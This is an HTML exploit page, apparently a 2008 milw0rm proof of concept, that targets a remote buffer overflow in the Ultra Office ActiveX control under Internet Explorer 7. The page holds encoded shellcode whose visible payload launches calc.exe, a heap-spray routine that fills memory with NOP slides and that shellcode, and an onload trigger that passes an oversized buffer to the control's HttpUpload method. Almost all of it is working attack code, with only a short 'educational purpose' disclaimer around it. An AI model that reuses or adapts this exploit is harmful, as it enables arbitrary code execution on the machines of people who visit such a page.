66 lines
No EOL
2.7 KiB
HTML
66 lines
No EOL
2.7 KiB
HTML
-----------------------------------------------------------------------------
|
|
Ultra Office ActiveX Control Remote Buffer Overflow
|
|
url: http://www.ultrashareware.com
|
|
|
|
Author: shinnai
|
|
mail: shinnai[at]autistici[dot]org
|
|
site: http://www.shinnai.net
|
|
|
|
This was written for educational purpose. Use it at your own risk.
|
|
Author will be not responsible for any damage.
|
|
|
|
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
|
|
-----------------------------------------------------------------------------
|
|
<script language="JavaScript" defer>
|
|
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
|
|
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
|
|
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
|
|
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
|
|
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
|
|
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
|
|
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
|
|
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
|
|
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
|
|
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
|
|
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
|
|
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
|
|
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
|
|
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
|
|
"%u652E%u6578%u9000");
|
|
var sSlide = unescape("%u9090%u9090");
|
|
var heapSA = 0x0c0c0c0c;
|
|
function tryMe()
|
|
{
|
|
var buffSize = 20000;
|
|
var x = unescape("%0c%0c%0c%0c");
|
|
while (x.length<buffSize) x += x;
|
|
x = x.substring(0,buffSize);
|
|
boom.HttpUpload(x, x, x);
|
|
}
|
|
function getsSlide(sSlide, sSlideSize)
|
|
{
|
|
while (sSlide.length*2<sSlideSize)
|
|
{
|
|
sSlide += sSlide;
|
|
}
|
|
sSlide = sSlide.substring(0,sSlideSize/2);
|
|
return (sSlide);
|
|
}
|
|
var heapBS = 0x400000;
|
|
var sizeHDM = 0x5;
|
|
var PLSize = (sCode.length * 2);
|
|
var sSlideSize = heapBS - (PLSize + sizeHDM);
|
|
var heapBlocks = (heapSA+heapBS)/heapBS;
|
|
var memory = new Array();
|
|
sSlide = getsSlide(sSlide,sSlideSize);
|
|
for (i=0;i<heapBlocks;i++)
|
|
{
|
|
memory[i] = sSlide + sCode;
|
|
}
|
|
</script>
|
|
<body onload="JavaScript: return tryMe();">
|
|
<object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
|
|
Unable to create object
|
|
</object>
|
|
|
|
# milw0rm.com [2008-08-27] |